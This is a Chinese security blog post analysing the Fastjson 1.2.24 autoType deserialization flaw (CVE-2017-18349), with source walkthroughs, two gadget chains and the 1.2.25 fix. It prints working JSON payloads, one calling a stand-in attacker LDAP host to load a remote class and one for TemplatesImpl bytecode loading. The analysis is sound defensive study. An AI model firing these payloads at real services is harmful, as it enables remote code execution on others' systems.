news 2026/8/5 13:43:22

Fastjson 1.2.24 autoType 反序列化漏洞分析(CVE-2017-18349)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Fastjson 1.2.24 autoType 反序列化漏洞分析(CVE-2017-18349)

Fastjson 1.2.24 autoType 反序列化漏洞分析(CVE-2017-18349)

写在前面

fastjson 反序列化这条“百足之虫”,1.2.47 那篇复现里我们见过它怎么“绕过”。但要看懂绕过,得先回到原点——1.2.24,autoType 还是“裸奔”状态的年代。

1.2.24(CVE-2017-18349)是 fastjson 反序列化的开山之作。这时 autoType 默认开启、没有任何黑名单,@type想指谁指谁。它回答了一个根本问题:fastjson 凭什么能把一段 JSON 变成任意 Java 对象,还顺手执行了 setter/getter?

这篇我们扒源码,把 autoType 从“读到一个@type”到“对象被实例化、危险方法被调用”的每一步讲透,并拆两条最经典的 gadget:JdbcRowSetImpl(JNDI 注入)和TemplatesImpl(字节码加载)。

本文只讲源码机制,不复现(复现见 1.2.47 那篇)。前置的 JNDI/反序列化基础见 Java 反序列化漏洞基础。

一、漏洞简介

  • 漏洞组件:Alibaba fastjson
  • 影响版本:≤ 1.2.24
  • 漏洞类型:autoType 任意类反序列化导致 RCE
  • CVE:CVE-2017-18349
  • 根因:反序列化时@type可指定任意类并自动实例化、调用其 setter/getter,无任何类型校验
  • 特点:autoType 默认开启,黑名单不存在,利用门槛极低

二、autoType 的源码机制

autoType 不是玄学,它是 fastjson 反序列化器里几行明确的代码。我们从入口JSON.parseObject一路追下去。

2.1 入口:DefaultJSONParser 识别 @type

JSON.parseObject(str)最终会构造一个DefaultJSONParser并调它的parse/parseObject。解析 JSON 对象时,解析器逐个读 key;当读到那个特殊的 key"@type"JSON.DEFAULT_TYPE_KEY),就走 autoType 分支:

// DefaultJSONParser.parseObject (fastjson 1.2.24,核心分支)if(key==JSON.DEFAULT_TYPE_KEY&&!lexer.isEnabled(Feature.DisableSpecialKeyDetect)){StringtypeName=lexer.scanSymbol(this.getSymbolTable(),'"');// 读出类名...// ★ 1.2.24 直接 loadClass,没有任何 checkAutoType!Class<?>clazz=TypeUtils.loadClass(typeName,config.getDefaultClassLoader(),true);...// 2. 拿到这个类的反序列化器ObjectDeserializerdeserializer=config.getDeserializer(clazz);// 3. 委托给它反序列化return(JSONObject)deserializer.deserialze(this,clazz,fieldName);}

注意第 1 步:1.2.24 里@type指定的类名被直接喂给TypeUtils.loadClass,中间没有任何黑白名单校验——这是 1.2.25 之后checkAutoType要补的位置,此时还空着。

三步概括:autoType =识别 @type → 加载类 → 委托反序列化器。前两步是“找类”,第三步是“造对象 + 填字段”,危险恰恰在第三步。

2.2 加载类:TypeUtils.loadClass

TypeUtils.loadClass负责“类名字符串 → Class 对象”,逻辑很直白——先查缓存,查不到就loadClass/Class.forName

// TypeUtils.loadClass (fastjson 1.2.24)publicstaticClass<?>loadClass(StringclassName,ClassLoaderclassLoader,booleancache){if(className==null||className.length()==0)returnnull;Class<?>clazz=mappings.get(className);// ① 先查内部缓存 mappingsif(clazz!=null)returnclazz;...// ② 基本类型/数组等内置处理if(classLoader!=null){try{clazz=classLoader.loadClass(className);// ③ 用传入的 ClassLoader 加载if(cache)mappings.put(className,clazz);// ★ cache=true 时塞进缓存returnclazz;}catch(ClassNotFoundExceptione){/* fallthrough */}}try{clazz=Class.forName(className);// ④ 兜底:Class.forNameif(cache)mappings.put(className,clazz);returnclazz;}catch(ClassNotFoundExceptione){...}returnclazz;}

两点要点:

  • 加载任意类classLoader.loadClass/Class.forName能加载 classpath 上(包括 JDK 内部)的任何类,比如com.sun.rowset.JdbcRowSetImpl。1.2.24 不拦。
  • cache=true:parseObject 那一步传入的就是true,于是每个被@type加载过的类都会进mappings缓存。这个缓存后面 1.2.47 那篇会反复用到——记住它,它是后续绕过的“弹药库”。

类拿到了,接下来就是怎么把 JSON 字段变成对象状态——这一步会触发 setter/getter。

2.3 造对象 + 填字段:JavaBeanDeserializer

第三步deserializer.deserialze对普通 JavaBean 走的是JavaBeanDeserializer。它干两件事:

  1. 实例化:用默认构造器(或 ASM 生成的快速反序列化器)new出对象。
  2. 填字段:遍历 JSON 里剩下的每个字段,找到对象上对应的FieldDeserializer,由它把值塞进去——通常就是调setXxx
// JavaBeanDeserializer 反序列化大致流程(简化)Objectinstance=createInstance(...);// new 出来for(JSON字段(name,value)){FieldDeserializerfd=getFieldDeserializer(name);// 按字段名找处理器fd.setValue(instance,value);// ★ 通常是 instance.setXxx(value)}

setValue内部对常规字段就是反射调用 setter。这就是危险传导的关键:攻击者控制 JSON 的字段名和值,就能指定调用哪个 setter、传什么参数。只要某个类的 setter / 构造过程里有副作用(连接、加载、执行),就被点燃了。

小结:autoType 的“自动”体现在两处自动:(1) 按类名自动加载类;(2) 按字段名自动调 setter。前者决定“能碰哪个类”,后者决定“能触发类的哪个动作”。1.2.24 两处都不设防。

下面看两条最经典的 gadget,正好分别踩中“setter 触发”和“getter 触发”两种姿势。

三、Gadget 一:JdbcRowSetImpl(setter 触发 JNDI)

com.sun.rowset.JdbcRowSetImpl是 JDK 自带的类,攻击者不必引入任何依赖——这是它受欢迎的原因。它的 settersetAutoCommit里藏着一个 JNDI lookup。

payload(1.2.24 不需要绕过,直接打):

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://攻击者:1389/Exploit","autoCommit":true}

3.1 两个 setter 的接力

fastjson 解析这个 JSON,对JdbcRowSetImpl实例依次调两个 setter:

// com.sun.rowset.JdbcRowSetImplpublicvoidsetDataSourceName(Stringname)throwsSQLException{if(name==null){dataSource=null;}elseif(name.equals(dataSource)){/* 无变化 */}else{dataSource=name;// ★ 把 ldap://... 存进 dataSource 字段...}}publicvoidsetAutoCommit(booleanvar1)throwsSQLException{if(this.conn==null){// conn 初始为 nullthis.conn=this.connect();// ★ conn 为空就主动 connect()!}if(this.conn!=null){this.conn.setAutoCommit(var1);}...}
  • setDataSourceName("ldap://攻击者:1389/Exploit"):把恶意 URL 存到dataSource字段。这一步本身无害,只是赋值。
  • setAutoCommit(true):检测到conn还是 null,于是调connect()去“建数据库连接”。

3.2 connect() 里的 JNDI lookup

connect()dataSource里的字符串去InitialContext.lookup——而那个字符串是攻击者塞进去的 LDAP/RMI URL:

// JdbcRowSetImpl.connectprivateConnectionconnect()throwsSQLException{...InitialContextvar1=newInitialContext();DataSourcevar2=(DataSource)var1.lookup(this.getDataSourceName());// ★ JNDI 注入点!...}

lookup("ldap://攻击者:1389/Exploit")一执行,流程就交给了 JNDI 的“下半段”:连攻击者 LDAP → 返回 Reference 指向远程恶意类 → 加载并实例化 → 命令执行。这一段和 Log4j2 完全一样(见 Log4j2 篇),受com.sun.jndi.ldap.object.trustURLCodebase限制。

整条链:

@type=JdbcRowSetImpl ├ setDataSourceName("ldap://攻击者") 存 URL(无害赋值) └ setAutoCommit(true) └ conn==null -> connect() └ InitialContext.lookup(dataSource) ★ JNDI 注入 └ 连攻击者 LDAP -> 加载远程类 -> RCE

注意一个共性:危险动作发生在 setter 的正常业务逻辑里setAutoCommit本意是“设置自动提交,顺带没连就先连一下”,connect本意是“按 dataSource 建连接”。攻击者没有调用任何“危险 API”,只是把字段值喂成了能被 JNDI 解析的 URL。这就是为什么 gadget 常常藏在 setter 里——它们是“看起来正常、实则可达危险路径”的方法。

四、Gadget 二:TemplatesImpl(getter 触发字节码加载)

第二条链com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl走的是另一条路:不靠 setter,靠getter,而且不依赖 JNDI(不需要出网),直接在本地加载恶意字节码。payload:

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["<恶意类字节码的 Base64>"],"_name":"a.b","_tfactory":{},"_outputProperties":{}}

4.1 fastjson 怎么会调 getter?

这是 fastjson 特有的机关。反序列化_outputProperties字段时,fastjson 要把{}里的内容“填进去”。它的属性查找逻辑大致是:

// JavaBeanDeserializer 处理一个属性值时的策略(简化)// 对属性 outputProperties:Methodsetter=findSetter("outputProperties");// setOutputProperties?——TemplatesImpl 没有Methodgetter=findGetter("outputProperties");// getOutputProperties() ——有!if(setter==null&&getter!=null){Objecttarget=getter.invoke(instance);// ★ 调 getter 拿一个“可填值”的对象// 然后把 JSON 内容往 target 里填}

TemplatesImpl实现了javax.xml.transform.Templates接口,该接口只规定getOutputProperties()newTransformer()没有 setter。于是 fastjson 对outputProperties属性只能走 getter:调用getOutputProperties()拿到一个Properties对象,再把 JSON{}的内容往里填。攻击者正是利用这一点:用一个空对象{}触发 getter 执行。(字段名加下划线_outputProperties是 fastjson 的字段映射约定,映射到属性outputProperties。)

4.2 getter 一路走到 defineClass

getOutputProperties的实现把调用链一路引到类加载:

// TemplatesImplpublicsynchronizedPropertiesgetOutputProperties(){try{returnnewTransformer().getOutputProperties();// ★ → newTransformer}catch(...){...}}publicsynchronizedTransformernewTransformer()throwsTransformerConfigurationException{TransformerImpltransformer=newTransformerImpl(getTransletInstance(),...);// ★ → getTransletInstance...}privateTransletgetTransletInstance(){...if(_class==null)defineTransletClasses();// ★ → defineTransletClassesAbstractTranslettranslet=(AbstractTranslet)_class[_transletIndex].newInstance();// ★ 实例化恶意类!...}privatevoiddefineTransletClasses(){...for(inti=0;i<classCount;i++){_class[i]=loader.defineClass(_bytecodes[i]);// ★ 加载 _bytecodes 里的字节码}}
  • _bytecodes字段被 fastjson 填成了攻击者预先生成的恶意类字节码(Base64 编码)。
  • defineTransletClassesdefineClass把这段字节码定义成一个 Class。
  • getTransletInstancenewInstance()实例化它——恶意类的static{}块或构造方法执行,命令落地。

链路图:

_outputProperties: {} └ fastjson 调 getOutputProperties() (属性无 setter,走 getter) └ newTransformer() └ getTransletInstance() ├ defineTransletClasses() │ └ defineClass(_bytecodes) 加载恶意字节码 └ newInstance() 实例化 -> 命令执行

4.3 两条链对比

维度JdbcRowSetImplTemplatesImpl
触发点setter(setAutoCommitgetter(getOutputProperties
危险路径JNDI lookupdefineClass + newInstance
是否需出网需要(连 LDAP/RMI)不需要(本地加载字节码)
payload 大小小(URL)大(嵌 Base64 字节码)
JDK 限制trustURLCodebase限制defineClass可见性/_tfactory影响

TemplatesImpl这条链更“自闭”(不出网也能打),代价是 payload 体积大、构造更繁琐。两者都依赖 1.2.24 的“无校验加载 + 自动调方法”,只是切入点一左一右。

五、为什么 1.2.24 如此脆弱

把上面拆开看,1.2.24 的脆弱是三道门全开的结果:

  1. autoType 默认开@type默认就被处理,无需目标主动开启。
  2. loadClass 无校验@type指向任意类(含 JDK 内部类),直接加载。
  3. 自动调 setter/getterJavaBeanDeserializer按字段名自动调用 setter/getter,把“赋值”变成了“触发动作”。

三者叠加,任何一个 JSON 都能在反序列化时执行攻击者指定的类的指定方法。这是“功能即漏洞”的典型:autoType 的设计目标是“灵活还原任意对象”,但“任意”二字本身就是 RCE 的全部前提。

六、修复:1.2.25 引入 checkAutoType

1.2.25 的修补针对上面三道门:

  • 默认关 autoTypeParserConfig.autoTypeSupport=false,不显式开启则@type不被处理。
  • 加 checkAutoType:在loadClass之前插入类型校验,命中黑名单(denyList)的直接抛异常。1.2.42 起黑名单从明文类名前缀改为哈希(denyHashCodes),防止逆向。
// 1.2.25+ 的 parseObject 分支(对比 2.1)Class<?>clazz=config.checkAutoType(typeName,null);// ★ 新增:先过校验// 通过后才 loadClass

但黑名单是“已知危险类的清单”,本质是堵已知、防不住未知。于是从 1.2.25 到 1.2.47,官方一路加黑名单,攻击者一路绕(类名前后缀绕过、缓存投毒……)。这场猫鼠游戏的故事,正是 1.2.47 绕过分析的主题。

1.2.68 引入safeModesetSafeMode(true)),彻底禁用 autoType,才算给这场游戏画了句号。

七、小结

1.2.24 这篇我们看清了 autoType 的“三个自动”:自动识别@type、自动加载类、自动调 setter/getter。两条 gadget 分别展示了 setter(JdbcRowSetImpl→ JNDI)和 getter(TemplatesImpl→ defineClass)两种触发姿势。

要点记住三条:

  • 危险藏在正常方法里:gadget 的 setter/getter 看起来都是正常业务方法,危险来自“它们的实现里会走到 lookup / defineClass”。
  • 赋值即触发:fastjson 把“填字段”实现成“调 setter”,于是攻击者控制字段就能控制方法调用——这是所有 fastjson gadget 的共同机理。
  • mappings 缓存是个雷loadClass(cache=true)把加载过的类塞进mappings,1.2.24 这里只是个性能优化,但到了 1.2.47,这个缓存被翻出来当成了绕过黑名单的跳板。

下一篇1.2.47 绕过分析,我们就来看这个缓存怎么被“投毒”。

参考

  • fastjson GitHub:https://github.com/alibaba/fastjson
  • CVE-2017-18349
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/5 13:42:25

如何三步解锁联想拯救者BIOS隐藏功能的终极指南

如何三步解锁联想拯救者BIOS隐藏功能的终极指南 【免费下载链接】LEGION_Y7000Series_Insyde_Advanced_Settings_Tools 支持一键修改 Insyde BIOS 隐藏选项的小工具&#xff0c;例如关闭CFG LOCK、修改DVMT等等 项目地址: https://gitcode.com/gh_mirrors/le/LEGION_Y7000Ser…

作者头像 李华
网站建设 2026/8/5 13:41:41

从零开始:5步掌握QRazyBox二维码修复工具,轻松拯救损坏的二维码

从零开始&#xff1a;5步掌握QRazyBox二维码修复工具&#xff0c;轻松拯救损坏的二维码 【免费下载链接】qrazybox QR Code Analysis and Recovery Toolkit 项目地址: https://gitcode.com/gh_mirrors/qr/qrazybox 你是否曾遇到过重要的二维码因为打印模糊、污损或部分损…

作者头像 李华
网站建设 2026/8/5 13:40:33

Embabel Agent:JVM智能代理编排框架的技术架构与实现解析

Embabel Agent&#xff1a;JVM智能代理编排框架的技术架构与实现解析 【免费下载链接】embabel-agent Agent framework for the JVM. Pronounced Em-BAY-bel /ɛmˈbeɪbəl/ 项目地址: https://gitcode.com/gh_mirrors/em/embabel-agent Embabel Agent是一款面向JVM生态…

作者头像 李华
网站建设 2026/8/5 13:40:08

嵌入式开发新范式:在CCS中集成本地AI代码助手提升C/C++开发效率

1. 先搞清楚“AI硬控嵌入式”到底想解决什么问题 看到“AI硬控嵌入式”这个标题&#xff0c;很多做嵌入式开发的朋友可能会有点懵。这到底是在讲用AI写嵌入式代码&#xff0c;还是用AI控制嵌入式设备&#xff0c;或者是把AI模型塞进嵌入式开发环境里&#xff1f; 结合“第二弹…

作者头像 李华